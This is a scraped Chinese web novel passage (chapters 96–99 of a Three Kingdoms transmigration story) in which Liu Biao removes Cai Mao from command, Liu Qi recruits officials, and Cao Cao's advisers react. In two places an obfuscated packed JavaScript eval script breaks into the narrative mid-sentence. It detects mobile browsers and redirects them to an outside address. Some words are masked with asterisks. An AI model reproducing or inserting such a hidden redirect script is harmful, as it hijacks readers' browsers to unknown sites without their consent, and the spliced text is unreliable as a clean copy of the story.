“景升还是这般手段。”庞德公轻抚长须,语气中带着几分欣赏,“寻常一桩婚事,倒叫他办出三重深意。” 闻言,司马徽会意颔首:“借六礼正伯瑜名分,借宾客彰荆州威势,更借江夏大捷显兵锋之利。这一石三鸟的布置,倒是刘景升一贯做派。” “只是.....” 司马徽忽然压低声音,“听闻荆南那边.....” 庞德公微微颔首,两人便不再多言。 这几日襄阳城暗流涌动,以庞、司马二人在荆襄的耳目,早已探知王威秘密前往荆南的消息。 但让人意外的是,这两位代表着荆州世家利益的名士,却对刘表意图收回军权此事却持默许态度。 是以,不少荆州世家对二人保持默许态度颇有微词,同时私下议论刘表这是过河拆桥,卸磨杀驴,当年他刘表若不是靠他们这些世家支持,岂能有今日雄踞江汉荆襄的风光?如今地位稳固便要收回权柄,着实令人心寒。 但庞德公与司马徽这等真正的大贤看来,一位雄主在时机成熟时收拢兵权本是天经地义。 当年刘表能单骑入荆州,设宴诛杀五十五名宗贼头目,如今找到机会收回蔡瑁兵权,正是其枭雄本色的体现。乱世之中,若是连这等魄力都没有,反倒要让人看轻了。 “走吧。”庞德公执住老友的手臂,“且去看看我们荆襄未来的英主。” 两位老者缓步走向州牧府,衣袂在夏风中轻轻飘动。 而此时经过三日马不停蹄的长途奔袭,王威与他的百余骑风尘仆仆地抵达了武陵郡治临沅县地界外的一处隘口。 此时的王威一行人可谓是人困马乏,每一名骑士的甲胄上都沾满了泥点,战马的嘴角泛着白沫。 “来者止步!”隘口处,拒马后的守军高声喝问,**手已在矮墙后就位。 王威勒住缰绳,从怀中取出一份勘合文书,声音因疲惫而沙哑:“襄阳来的,有紧急军务。” 守军小校验过文书上的州牧府印信,不敢怠慢,连忙命人移开拒马打开通道,让王威一行人进入隘口内。 而守军小校见王威身着将领甲胄,随行百骑又马疲惫不堪,便讨好地凑上前:“将军一路辛苦,可要在隘口歇息片刻?我等备有热汤.....” 王威正要答话,忽听哐当一声,守军小校背在腰后的制式**机竟掉在地上,原来是挂扣的绳索因潮湿发霉断裂了。 那小校慌忙拾起**机,脸上尽是窘迫与无奈,拍了拍手中斑驳锈迹的**身,忍不住地跟王威抱怨起来: “这鬼地方雾气重,瘴气也大,好好的一把军**没几日就锈了。” “前日蛮子来扰,这**箭射出去软绵绵的,三十步外就没了力道,害得弟兄们不得不与那些蛮子短兵相接,平白折了好几个.....” 小校越说越激动,声音带着愤懑:“若非军械如此,凭我荆州军的甲兵刃之利,何至于让那些蛮子如此猖狂!” 王威沉默地听着,目光扫过隘口守卒们身上略显破旧的皮甲,以及他们手中那些锈迹斑斑的兵器。 王威知道这就是刘表为了控制蔡瑁平定荆南乱局速度而产生的后果。 权势者的权利斗争产生的余波,落在这些普通士卒身上,便是需要用鲜血和生命去填补的沟壑。 良久,王威深吸一口气,压下心中的复杂情绪,沉声道:“不必歇息了。给我等备些干粮熟食,我们路上用。” 接着望向隘口前方临沅方向,道:“此地距临沅还有多远?” “不足百里了,将军。”小校连忙回答,“快马加鞭,入夜前定能赶到。” 王威点了点头,并没有回话,而是回头对身后的骑兵们高声道,“弟兄们再坚持一程!到了临沅,我请大家痛饮一场,好好歇息!” 说罢,王威接过守军递来的干粮,率先策马冲出了隘口。 百余骑紧随其后,马蹄声再次敲碎了山道的寂静,朝着临沅城疾驰而去。 第97章 蔡瑁震怒!夺我军权?刘表你找死 武陵的夏日,总是带着一股化不开的湿闷。 临沅城外的荆州军大营,旌旗在湿热无风的空气中低垂,连士卒操练的呼喝声都显得有气无力。 中军大帐内,蔡瑁放下手中那份迟来了三日的粮草调度文书,眉头紧锁。 这已经不是第一次了,自从刘琦捷报传来后,来自襄阳、江陵的各类物资、文书,总会晚上那么几天,仿佛整条补给线都染上了荆南的瘴气,变得迟缓、黏腻。 而更让蔡瑁心头蒙上阴影的,是军中氛围的微妙变化。 往日里,那位以谄媚著称的校尉张南,每逢清晨点卯,必定最早赶到帐外候着,总会寻些由头凑上前来,或是汇报些无关紧要的军情,或是关切地问候自己起居。 可这两日,张南只是踩着鼓声的最后一响进帐,规规矩矩行礼,汇报完所属部曲的情况后,便垂首退到一旁,目光也不再与蔡瑁对视。 掌管军械的司马王恺,是蔡瑁一手提拔起来的寒门将领,以往事无巨细都要向他请示,最近却接连三日未曾露面,派人去问,只回说在清点库房,忙得脱不开身。 甚至连他安插在军中各要害位置的蔡氏子弟,那些掌管粮秣、军械、文书往来的族侄、外甥们,近来递送文书时,也都显得有些心不在焉,眼神闪烁,仿佛在躲避什么。 一种无形的隔阂,正在蔡瑁与荆南大军之间悄然滋生。 “去请蔡督粮过来。”蔡瑁压下心头的不安,对亲兵吩咐道。 蔡瑁口中的蔡督粮,是他的族弟蔡中,掌管着这万余大军的粮草命脉。 亲兵去了半晌才回来,脸上带着几分惶恐:“都督,督粮官说…说正在清点库房存粮,稍后便来。” “清点库房?”蔡瑁的脸色彻底沉了下来。 蔡瑁猛地起身,不打算再等待,径直走向位于大营一角的粮草官署。 尚未进门,便听见里面传来族弟蔡中压低的声音,带着明显的焦虑:“…蒯别驾的信里说得再明白不过,风向变了,咱们也该早作打…” 这时帐帘被猛地掀开,蔡中与几名正在议事的蔡氏子弟见到面色铁青的蔡瑁,顿时如同被掐住脖子的鸭子,声音戛然而止。 蔡中手中一份绢帛书信“啪嗒”一声掉在地上。 蔡瑁目光如刀,扫过众人惊惶的脸,弯腰捡起那封书信。 信是荆州别驾蒯越写的,字迹工整,内容看似只是例行通报——详细描述了刘琦在江夏如何大破孙权、生擒周瑜,麾下已有四万余精锐,舟师千艘,声势如日中天,那军容之盛,据说让江东将士望风而逃,连看都不敢多看一眼......... 看到这里,蔡瑁突然冷笑起来,声音里带着刺骨的寒意:“好个蒯异度!好一招敲山震虎!” 蔡瑁猛地将信纸拍在案上,目光锐利地扫过在场众人:“难怪这几日营中气氛诡异,连你们都惶惶不可终日!” “原来是他蒯越在暗中散布消息,把刘伯瑜的声势传得人尽皆知!这是防着我蔡某人狗急跳墙啊!” 蔡瑁死死盯着蔡中,语气愈发凌厉:“怎么?连我蔡家的粮草官,如今也要先揣度蒯别驾的用意,才敢做事了?你们就这么急着另寻靠山?” 帐中一时间如死一般的寂静,只有粗重的呼吸声此起彼伏。 最终还是蔡中硬着头皮开口,声音干涩:“兄长息怒...实在是、实在是蒯别驾已经将长公子大捷的消息传遍全军了,现在各营都在传,说长公子手握四万雄兵,舟师千艘......” 蔡中越说越慌,声音断断续续:“而且、而且蒯别驾还特意派人到各营传话,说襄阳正在为长公子大办六礼,广邀天下宾客...连益州、交州的使者都到了...“ 蔡中的声音越来越低,几乎是在嗫嚅:“现在全军上下都知道...知道主公对荆南战事迁延日久,颇为不满...” “不满?”蔡瑁一脚踢翻旁边堆积的粮册竹简,暴怒道:“某在这瘴疠之地,与蛮子浴血苦战数月!他刘景升在襄阳大办婚礼,歌舞升平,倒是有闲心对某不满?!” 蔡瑁猛地拔出亲兵腰间的佩刀,狠狠劈在面前的案几上,木屑纷飞! “没有老子在这里顶着,他刘景升能在襄阳安稳地当他的州牧?没有我们蔡家当初鼎力支持,他能单骑定荆州?!” “叔父慎言!”蔡中慌忙上前劝阻,脸色煞白,“如今....如今伯瑜公子声势正盛,连庞德公、司马徽那等人物都破例下山观礼....咱们...咱们不如....” 蔡中咽了口唾沫,有些艰难地说道,“....不如暂且隐忍,看看风向....” “隐忍?看看风向?”蔡瑁逼视着族弟,眼中布满血丝,“然后呢?把蔡家经营数十年的荆襄基业,把某一手操练的荆州水师精锐,拱手让给那黄口小儿?!” 此刻的蔡瑁心中的怒火与一种被背叛的**交织在一起,几乎要冲破胸膛。 “他蒯异度不是怕我拥兵自重吗?他不是在军中散布谣言,动摇我的军心吗?好!好!好!” 蔡瑁连说三个“好”字,状若癫狂,“既然刘景升不仁,就休怪我蔡瑁不义了!某这就修书给武陵蛮帅,许他钱粮甲胄,这荆南四郡张羡占得,某难道就占不得?!” 蔡瑁此言一出,满座皆惊! “哐当!” 一名年轻蔡氏子弟手中的兵册惊得掉在地上,他脸色瞬间惨白如纸,手足无措地看了看暴怒的蔡瑁,又看了看周围沉默的族人,突然像是被火烧了屁股一样,踉跄着退出大帐,边走边语无伦次地喃喃:“侄儿.....侄儿什么都没听见...什么都没听见..”边喊边跑着仿佛身后有洪水猛兽。 而其余蔡氏众人,或死死低着头盯着自己的鞋尖,仿佛上面有朵花,或眼神飘忽,左顾右盼,就是不敢看蔡瑁,有人嘴唇哆嗦着,想说什么,最终却化作一声几不可闻的叹息,或一句苍白的“叔父勿戏言之类的话....” 没有一个人,敢接蔡瑁“做张羡”的话头。 蔡瑁握着刀柄的手,因为用力而指节发白,微微颤抖。 蔡瑁看着眼前这些惶惶不可终日的族中子弟,心一点点沉入冰窖。 他明白了,全明白了,蒯越这一手太狠了! 根本不需要派兵来**,只需要把刘琦得势、他蔡瑁失势的消息在军中散播开来,就足以瓦解他所有的根基! 这些族中子弟尚且如此,军中那些非蔡氏嫡系的将领,那些普通的士卒,又有几个会跟着失势的他,去走一条注定身死族灭的叛乱之路? 更何况,刘表尚在,大义名分仍在襄阳,此时**,无异于自寻死路! 一时间,一种巨大的无力感和悲凉,瞬间淹没了这位曾经权倾荆州的蔡都督。 就在这时,帐外传来亲兵急促的脚步声和带着惊慌的禀报:“都督!蒯别驾派人来请,说是...说是襄阳来的使者已到他的行辕,带了主公的诏书,请都督即刻过去!” 闻言蔡瑁身体几不可察地晃了一下。该来的,终究还是来了。 蒯越这一手“攻心为上”,堪称乱世权力博弈的典范。 蒯越敏锐地预判到刘琦的强势崛起必然引发蔡瑁的恐慌,于是未雨绸缪地在军中布局。 借助掌管文书往来之便,蒯越将刘琦大破孙权、手握重兵的消息,通过日常公文传递与将士闲谈,如春雨般悄然渗入大营每个角落。 当全军上下都看清蔡瑁大势已去,蔡瑁精心栽培出来所谓的嫡系自然是分崩离析。 这正是蒯越身为顶级谋士的过人之处,不费一兵一卒,便为即将到来的权力更迭铺平道路。 不一会的功夫,蔡瑁便策马来到蒯越设在临沅城内的临时行辕。 而此时行辕外的气氛与往日截然不同,守卫的士卒数量增加了数倍,而且不再是熟悉的荆南守军,而是数十名风尘仆仆、甲胄沾染泥泞却眼神锐利的陌生甲士。 他们按剑而立,虽然难掩疲惫之色,但那股子沙场老兵的肃杀之气,却让周遭的空气都凝滞了几分。 蔡瑁目光扫过这些陌生的面孔,从他们甲胄的制式与风尘仆仆的模样,立刻判断出这是从襄阳昼夜兼程赶来的兵马。 “哼,来得倒是挺快。”蔡瑁冷哼一声,利落地翻身下马,将缰绳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818121|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随手甩给迎上来的卫兵,整了整衣冠便大步迈进行辕。 既然襄阳的人已经到了,蔡瑁倒要看看,刘景升究竟给他准备了怎样的结局。 随后蔡瑁走进议事厅,只见蒯越端坐主位左侧,神色平静,看不出喜怒。 而主位之上,端坐着一身戎装、面容冷峻的王威。 王威甚至没有更换旅途劳顿的衣甲,就那么直接坐在那里,仿佛在无声地宣示着他的到来和目的。 厅内两侧,同样肃立着十余名王威的亲兵,手始终按在刀柄上。 蔡瑁见到王威瞬间,心中暗道:“果然是你。” 这位与文聘齐名的寒门将领,蔡瑁太熟悉了。 多年来,刘表不断提拔王威、文聘这等非世家出身的将领,蔡瑁岂会不知其中深意? 不就是用来制衡他们这些荆州大族的棋子么? 如今棋子终于落定,直指他蔡瑁而来。 王威没有多余的寒暄,见蔡瑁进来,便直接起身,从怀中取出一卷玄色绢帛,朗声道:“蔡都督,王威奉主公之命,前来宣诏。” 王威的声音在空旷的议事厅内回荡,带着不容置疑的威严。 “制诏:荆南都督蔡瑁,自督师以来,夙夜辛劳,孤心甚慰。然荆南战事迁延,孤亦深忧。念尔劳苦功高,特召还襄阳荣养,以示体恤。” “别驾蒯越,调度失宜,贻误军机,着革去别驾之职,仍留荆南戴罪立功。” “即日起,荆南诸军事务由襄阳督防王威都督,克日平定武陵蛮乱。望尔等各司其职,不得有误!” 王威念完诏书,目光平静地看向蔡瑁:“蔡都督,请交割印信吧。” 蔡瑁站在原地,身体僵硬,刘表这份诏书处处透着精妙的权衡——既夺了他蔡瑁的兵权,又敲打了蒯越,同时也让王威、蒯越二人互相掣肘。 王威虽得都督之名,却无总揽军政之权,分明是还要受蒯越这个“戴罪立功”的旧吏牵制。 蔡瑁沉默了片刻,忽然发出一声意味不明的轻笑。 蔡瑁目光扫过面前二人,声音里带着几分讥诮:“当年高皇帝诛韩信,武帝废窦婴.....都说刘家天子刻薄寡恩。” 蔡瑁顿了顿,视线定格在虚空中的某处,“不想景升兄虽非天子,这御下的手段,倒是得了高祖真传。” 蒯越闻言神色不变,只轻轻整理了下袖口,从容应道: “德珪兄此言差矣。昔日光武皇帝中兴汉室,亦曾云''置酒高会,何如临阵破敌''。景升公此番安排,正是欲使德珪兄暂离征尘,安享太平。” “而越在荆南这瘴疠之地,日夜期盼的便是王将军能早日平定这蛮乱,使百姓安居乐业。届时越也可卸下这别驾重任,重返襄阳故里,与德珪兄同赏汉水烟波。” 蒯越这番话看似闲谈,实则是暗示蔡瑁回襄阳荣养已是当下最好的结局。 王威适时上前一步,玄甲发出铿锵之声:“请蔡都督交割印信,即刻安排返襄事宜。主公之意,是请都督‘即刻’动身。”王威特意加重了“即刻”二字。 蔡瑁看着眼前这一幕,知道自己大势已去。 随即惨然一笑,不再多言,默默取出了象征荆南都督权力的银印和调兵虎符,重重地放在了王威面前的案几上。 金属与木案撞击,发出沉闷的响声,蔡瑁这十余年在荆州经营的**生命,就在这一声中戛然而断。 刘表之所以在诏书中强调“即刻返襄”,除了担心夜长梦多,蔡瑁狗急跳墙外,更深层的原因在于他对自己身体的不自信,以及对荆州整体利益的考量。 刘表刻意拖延荆南军需,本是为了压制蔡瑁,但这把双刃剑也实实在在地损害了荆州自身的实力,导致平叛进程缓慢,士卒伤亡增加,荆南民生凋敝。 而每多拖延一日,荆州的元气就多损耗一分。 因此,刘表必须在换将之后,以最快的速度结束荆南乱局。 而王威也深刻理解这一点,所以他雷厉风行,甚至不给蔡瑁任何拖延或布置后手的时间,要求其立刻离开军队,以确保权力过渡的平稳和后续平定蛮乱行动的顺利展开。 第98章 荆州震动,刘琦霸业初现 蔡瑁当日便在数十名王威亲兵的‘护送’下,带着简单的行装和无限的落寞,离开了临沅,北上襄阳。 而随着蔡瑁的离开和王威的正式接掌,整个荆南大营仿佛一台许久未曾保养、运转滞涩的战争机器,被注入了新的动力,开始全速开动起来! 王威上任的第一道命令,便是以新任荆南都督的名义,向江陵发出最高优先级的调令。 早已在江陵码头准备多时、却因各种原因被卡住无法起运的军需物资,此刻如同开闸之水般,通过水路、陆路,源源不断地运抵荆南前线。 崭新的**,替换下了那些因潮湿而弓弦松弛、**机生锈的旧装备,锋利的箭簇,在阳光下闪烁着寒光,取代了那些锈迹斑斑、甚至带有霉斑的旧箭矢,锃亮的铁甲和皮甲,分发到士卒手中,替换了他们身上那些破旧不堪的衣甲。 当士卒们抚摸着簇新的军械,感受着那份沉甸甸的质量和锋锐时,整个军队的士气为之一振! 低迷已久的萎靡之气一扫而空,取而代之的是一种憋屈了太久、渴望宣泄的昂扬战意。 王威更是雷厉风行,他迅速调整了之前蔡瑁那套过于保守、步步为营的战术。 他利用蒯越提供的情报和自己派出的哨探,精准掌握了武陵蛮各部的位置和动向。 战斗几乎呈现出一边倒的碾压态势。 装备了全新强弓硬**的荆州军射手,在武陵蛮兵尚未靠近时,便能射出密集而精准的箭雨,极大地消耗了蛮兵的有生力量。 当蛮兵好不容易冒着箭雨冲近阵前,面对的是刀锋锐利、甲胄坚固的荆州精锐。 王威更是亲率一支由他带来的襄阳老卒和军中锐士组成的突击部队,瞅准蛮兵主力**在沉水畔企图负隅顽抗的时机,发动了雷霆般的突袭。 王威身先士卒,冲锋在前,一举击溃了蛮兵的核心阵列,并在乱军中亲手斩杀了武陵蛮的大帅,沙摩胥! 失去大帅,群龙无首的蛮兵顿时陷入崩溃,或降或逃,这声势浩大荆南蛮乱,竟在短短半月之内,被王威以摧枯拉朽之势,给扼制住了! 视角回到襄阳。 刘琦的大婚礼仪,在刘琦的要求下不过十日便已在治中从事蒯良与文学掾王粲的主持中,走完了所有被简化却仍循古礼的流程。婚礼很快办完,并无过多喧嚷。 当最后一辆代表着其他诸侯的马车驶离襄阳城门,这场由刘表约起的**秀,终于尘埃落定。 次日清晨,州牧府东侧原属蔡瑁的别院,如今高悬招贤馆金字匾额。 门前新立的招贤榜墨迹未干,上书:“今奉天子诏,开府扬州,总揽六郡军事。欲求四海英才,共图王业。凡通经术、明吏治、晓兵机者,不问出身,皆可投效。” 而刘琦独自坐在馆内,指尖抚过案上那方新铸的“扬州刺史“银印,心中澎湃。 “终于等到这一天了。”刘琦喃喃自语。 从穿越之初的空架子长公子,到如今手握重兵的扬州刺史,这数月来的艰辛历历在目。 现在,刘琦有名望、有实力、有地盘,更有了开府征辟的合法权力。 遥想当初刚穿越过来,自身尚且难保,纵有先知之能,知晓世间英才藏于何处,却也无力招揽,只能空怀宝山而兴叹。 如今,这一切束缚都已不复存在。 随即刘琦不再迟疑,当即铺开绢帛,取笔蘸墨,将那些在另一个时空里青史留名,他曾无数次想过要“按图索骥”却苦无法招揽人才,如今终于可以光明正大地写下他们的名字,遣使征召,将他们一一网罗至麾下! 汉制,刺史本为监察官,秩仅六百石,然在乱世中,持节刺史渐成封疆大吏。 而刘琦所领“扬州刺史,假节,督扬州诸军事“,更有开府之权——刺史开府可自置别驾、治中、主簿等属官,组建完整的军政体系。 这道诏书,犹如给了刘琦经营江东的合法印信,从此可名正言顺地招贤纳士,组建自己的势力班底。 而与此同时,城南一处简陋客舍内,石韬与孟建相对而坐。 窗外,襄阳城因刘琦场盛大婚礼而增添的几分热闹尚未完全消退,街市间仍可见远道而来的车马痕迹。 孟建推开窗扉,望着远处的街景,不禁感叹:“益州刘璋、交州士燮、乃至汉中的张鲁,皆遣使奉上厚礼……谁曾想,数月前还被襄阳勋贵私下讥为‘庸懦纨绔’的长公子,今日竟有如此威势与声名?” 石韬亦缓步走到窗边,目光投向州牧府的方向,语气中带着几分复杂与难掩的羡慕:“孔明与元直,确实眼光独到。在长公子潜龙在渊之时,便毅然投效,倾力辅佐,如今长公子龙腾九霄,他二人皆身居枢要,得展平生所学,着实令人称羡。” 随后二人相视,皆从对方眼中看到一丝苦涩的笑意。 他们与诸葛亮、崔州平、徐庶五人,昔日因志趣相投、才学相当而时常相聚。 在隆中茅庐谈经论道、评点天下时,是何等意气风发。 当初徐庶率先投效刘琦时,他们私下还觉得太过冒险,随后等孔明也应邀出山,二人更曾在心中暗叹明珠暗投。 谁料不过半年光景,徐庶已贵为江夏督军,诸葛亮更晋位郡丞,权柄日重。 反观他们,却仍困守襄阳,空怀济世之才,竟无处施展,这般境遇,如何不令人心生怅惘。 孟建见石韬言语间满是怅惘与羡慕,不由振作精神,拍了拍石韬的臂膀:“过往之事,追悔无益,何必在此空自嗟叹?” “长公子如今开府纳士,正是用人之际,招贤馆前日日车马不绝。” “以你我之能,此时前去,未必不能搏个前程!总不能真让孔明、元直他们专美于前吧?” 石韬被孟建这番话说得心头热流涌动,那份不甘与抱负再次被点燃。 石韬正了正衣冠,颔首道:“公威兄所言极是!大丈夫处世,遇此明主,岂能蹉跎不前?我这便随你同去!” 两人相视一笑,多年默契尽在不言中,方才的郁闷一扫而空,当即转身准备出门。 而就在此时—— “咚咚咚!” 一阵急促的敲门声骤然响起,打断了二人的动作。 门外传来房东老丈的声音,但那声音带着几分急切:“石先生、孟先生可在?有贵客到访,说是州牧府上来的!” 这突如其来的通报让孟建与石韬同时一怔,准备迈出的脚步也顿在了原地。 州牧府?在这个他们刚下定决心要去投效长公子的当口,州牧府的人竟先一步找上门来了? 两人迅速交换了一个疑惑的眼神。 石韬深吸一口气,压下心中的波澜,沉声应道:“老丈请进,门未闩。” 房东老丈推门而入,脸上带着与有荣焉的殷勤笑容,侧身让出通道。 只见房东老丈身后站着两名身着精干吏服、腰悬令牌的汉子,步履沉稳,眼神锐利,一看便知是州牧府中办事得力的干员,而非寻常仆役。 为首一人目光扫过屋内,在孟建与石韬身上略作停留,随即拱手一礼,语气不卑不亢:“敢问二位,可是石韬石广元先生,与孟建孟公威先生?” “正是在下。”石韬与孟建一同还礼,“不知二位尊驾莅临,有何见教?” 那吏员脸上露出一丝恰到好处的笑容,从怀中取出一份封漆完好的文书,双手递上:“奉我家使君之命,特来呈送此函。” “使君言道,久闻二位先生高才,心向往之。如今幕府中初立,正值用人之际,诚盼二位先生能不吝屈就,前往一叙。” “使君?” 孟建下意识地重复了一句,随即与石韬同时反应过来——如今襄阳城内,能被称为“使君”且开府纳士的,唯有那位刚刚权摄扬州、声威赫赫的长公子刘琦! 竟是刘琦亲自派人来征召!而且听这口气,并非让他们去招贤馆排队等候,而是直接邀请入府叙话!这待遇,与那些自行前往招贤馆的人截然不同。 石韬强抑着心中的激动,接过那封还带着一丝清墨香气的书函,只见封皮上端正地写着他们的名讳,字迹挺拔有力。 当即石韬稳了稳心神,对两位吏员道:“有劳二位。还请回复长公子,我二人稍作整理,便即刻前往拜谒。” “如此甚好。我等还需回府复命,先行告退。”两位吏员再次拱手,行事干脆利落,旋即转身离去,而房东老丈连忙笑着将二人送出门外。 屋内,孟建看着石韬手中那封邀请函,忍不住长长舒了一口气,脸上绽开混杂着惊喜与释然的笑容:“广元兄,看来……你我无需去招贤馆与他人相争了。长公子,这是早已留意到我们了!只是可惜了州平兄……” 石韬摩挲着光滑函封,感慨道:“是啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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孟建性格更为外露,闻言当即拱手,声音因激动而略显高昂:“公子雄才大略,礼贤下士,我辈心折已久!建虽不才,愿效犬马之劳,以供驱策!” 石韬亦深深一拜,言辞恳切:“韬与公威,空负经纶,困守襄阳久矣。今蒙公子不弃,以国士相待,敢不竭尽驽钝,以报知遇之恩!” “好!” 刘琦抚掌一笑,“得二位先生之助,如添臂膀!具体职司,稍后自有任命文书下达。望二位先生早日入府视事。” “谨遵主公之命!”这一次,两人异口同声,已然改口称主了。 刘琦对他们的态度十分满意,微微颔首,话锋随即转入正题,神色也郑重了几分:“二位先生既已应允,琦便直言了。” “如今招贤馆初立,四方士子闻风而至,每日车马盈门,呈递的名帖、策论堆积如山。此乃兴旺之兆,然亦带来一桩难题——” 刘琦稍作停顿,目光扫过凝神倾听的二人,继续道:“来人禀赋不一,才学有高下,志向分殊途。其中或有真才实学者,亦不乏滥竽充数、希图侥幸之辈。” “琦虽有心揽才,却苦于精力有限,难以一一详辨。故而,想将此甄别、考校之重任,托付于二位。” 孟建与石韬闻言,立刻明白了此职的重要性。 这并非闲散差使,而是为主公把守人才入口的咽喉要职,非心腹与具慧眼者不能胜任。 刘琦接着道:“请二位先生暂领招贤馆考校之职,所有前来投效的士子,其名帖、文章、策论,皆由二位先行审阅,考问其学识,探查其心志,评定其高下,分门别类,记录在案。” “凡经二位共同认可,评定为‘上等’者,其名与评语可直接呈送于我,我将亲自接见。此乃我霸业之基石,万望二位持以公心,精诚筛选。” 这无疑是极大的信任与重托! 孟建与石韬相视一眼,皆看到对方眼中的振奋。 他们空有才学却无进身之阶久矣,如今甫一投效,便被委以如此关键之任,岂能不感激涕零? “主公信重,建敢不竭尽心力!”孟建肃然拜道,“必以冰霜之操自励,为准绳,为主公拔擢真才!” 石韬亦深深一揖:“韬定与公威兄同心协力,细加甄别,务使明珠无遗,庸才不进,以报主公知遇之恩!” “好!有二位先生此言,我无忧矣!” 刘琦脸上露出欣慰的笑容,“具体细则,稍后自有吏员与二位交接。招贤馆便拜托二位了!” 第99章 刘琦招贤,历史名将尽归麾下! 半月时光,倏忽而过。 襄阳城内的招贤馆,俨然成了荆州乃至周边郡县最为热闹的所在。 在孟建、石韬二人秉持公心、细致入微的甄别考校之下,一批批士子的才学高下、能力倾向被快速界定出来。 而刘琦更是凭借先知先觉,亲自从浩瀚的名录中,圈定了一批或已崭露头角、或尚潜藏于众人之中的名字。 当刘琦接过孟建与石韬呈上的最终名录,目光扫过上面一个个墨迹未干的名字时,纵然早有心理准备,心头也不禁泛起波澜,难以抑制地心潮澎湃。 只见其上赫然列着: 刘巴、邓芝、陈震、蒋琬、费祎、马良、马谡…… 这些在另一个时空里青史留名、或镇守一方、或匡扶社稷的人物,如今,他们的命运轨迹已因自己而改变,尽数汇集于这份名单之上! 深吸一口气,压下激荡的心绪,开始做出具体安排: “刘巴,”刘琦点了这位历史上曾让刘备都头疼的名士,“此公才高,精于政略,更熟悉南方情势,当参赞州务,协理钱粮,委以重任。” “邓芝、陈震,”刘琦的目光落在两个以辩才和干练著称的名字上,“此二人机敏善对,可入幕府,掌文书机要,兼领对外联络之事。” “蒋琬、费祎,”看到这两位未来蜀汉的顶梁柱,刘琦语气中带着期许,“虽年少,然沉稳机敏,颇具潜力。令其随府学习,参知政事,着意栽培。” “马良、马谡兄弟,”最后刘琦看向这对来自宜城的贤才,“马良才思敏捷,可理民政;马谡聪颖过人,先于参谋之位历练。” 更有甚者,连德高望重的水镜先生司马徽,亦亲笔修书,向刘琦举荐了其门下弟子、素有干才之名的向朗。 对此刘琦自然欣然接纳,委以重任。 另外这短短十余日内,经由这般层层筛选与破格擢拔,最终纳入刘琦麾下的各式贤才竟达二百余人。 这批新血之中,既有精通律法、能为他日后建制立章的文士,也有善于筹算、可打理钱粮赋税的干吏,更有通晓水利农桑、善于安抚民众的地方治理之才。 甚至连向宠这等在另一时空里被诸葛亮赞为“性行淑均,晓畅军事”的将才苗子,也已在名录之中,被刘琦特意标注,准备日后放入军中历练。 而这番近乎鲸吞式的人才招揽,实是刘琦深思熟虑之举。 刘琦深知,若要真正经略江东,乃至图谋更远,必须建立一套完全听命于自己、高效且忠诚的基层行政班底。 扬州地域广袤,囊括后世江西、浙江、福建及江苏、安徽大部,即便军事上得以攻取,若治理全然依赖江东本土士族,难免重蹈孙氏覆辙。 孙权早期靠着淮泗将领制衡江东士族,但随着老臣凋零,晚年不得不发动“两宫之争“来压制坐大的本土势力。 可若全数倚仗荆州旧部,则又可能步父亲刘表后尘——晚年被蔡瑁、蒯越等大族架空,连襄阳城防都难以自主。 是以,刘琦准备以荆州才俊为筋骨,再大量招揽**北士及天下贤才为中坚力量,未来再择取愿意合作的江东俊杰为辅助补充,形成三方制衡、互相依存之势,方能实现长治久安,将这片广袤的土地牢牢掌控在自己手中。 三日后,汉水之畔,刘琦携黄月英登上一艘荆州旗舰楼船。 孟建、石韬等新募之士怀着憧憬与壮志,紧随其后登舟。 以十艘艨艟为护卫的船队缓缓启航,风帆饱胀,顺着江水,向着江夏而去。 而在襄阳城楼上,刘表凭栏远眺,遥望东去的船影,最终化作天际的一串黑点。 而就在这时,身后传来急促的脚步声,一名信使跪地呈上最新的荆南军报:王威首战告捷,突袭蛮寨,斩首千余。 刘表阅罢,嘴角泛起一丝冷峻的弧度,沉声道:“传令德严(王威),荆南蛮夷,冥顽不灵。凡负隅顽抗者,不必留活口,以儆效尤。” “诺!” 信使连忙应道。 江风猎猎,吹动刘琦腰间扬州刺史的印绶丝绦。 刘琦扶栏立于船头,远眺下游,目光似已穿透这千里烟波,看见江东那片广袤的大地,正渐渐被纳入他设定的版图之中。 与此同时,许昌,尚书令府。 从襄阳星夜兼程赶回的董昭,风尘仆仆地在荀彧面前,面带愧色地禀报了江夏战事早已结束、刘琦已携大胜之威返回襄阳,并笑纳了扬州刺史任命的全过程。 闻言,荀彧执笔的手在空中微微一滞,墨点滴落,在素绢上晕开一小团污迹。 荀彧那向来温润平和的面容上,罕见地掠过一丝惊愕与深深的懊恼。 自己那驱虎吞狼之策....谁知那“虎”早已饱餐,他们此举,非但未能令两虎相争,反而等同于将征伐江东的大义名分与朝廷背书,亲手送到了兵锋正盛、已无后顾之忧的刘琦手中! 这简直是......资敌以柄,助其成龙啊! 是以,荀彧当即不敢怠慢,立刻修书,将此事原委及其可能带来的深远影响,以加急密信的形式,火速送往官渡前线。 官渡,曹军大营。 中军大帐内,气氛本就因战事胶着、粮草日渐匮乏而显得凝重。 当曹操展开荀彧的密信阅读后,眉头瞬间紧锁。 良久,曹操才将密信传给下首的郭嘉、程昱等人传阅,帐内顿时响起一阵压抑的议论和吸气声。 “刘景升之子,竟有如此手段?” 程昱语气沉重,“江夏大捷,尽收其兵,如今又得扬州刺史之名....荆扬合流之势,恐将成矣!” “文若此计,本是妙棋,奈何.....”郭嘉摇头叹息,未尽之语不言而喻——奈**息滞后,妙棋成了昏着,凭空为刘琦做了嫁衣。 夏侯惇等将领更是面露忧色:“若刘琦真能迅速平定江东,届时手握荆、扬两州,带甲十余万,舟师纵横大江,则南方格局彻底颠覆,必成我心腹大患!” 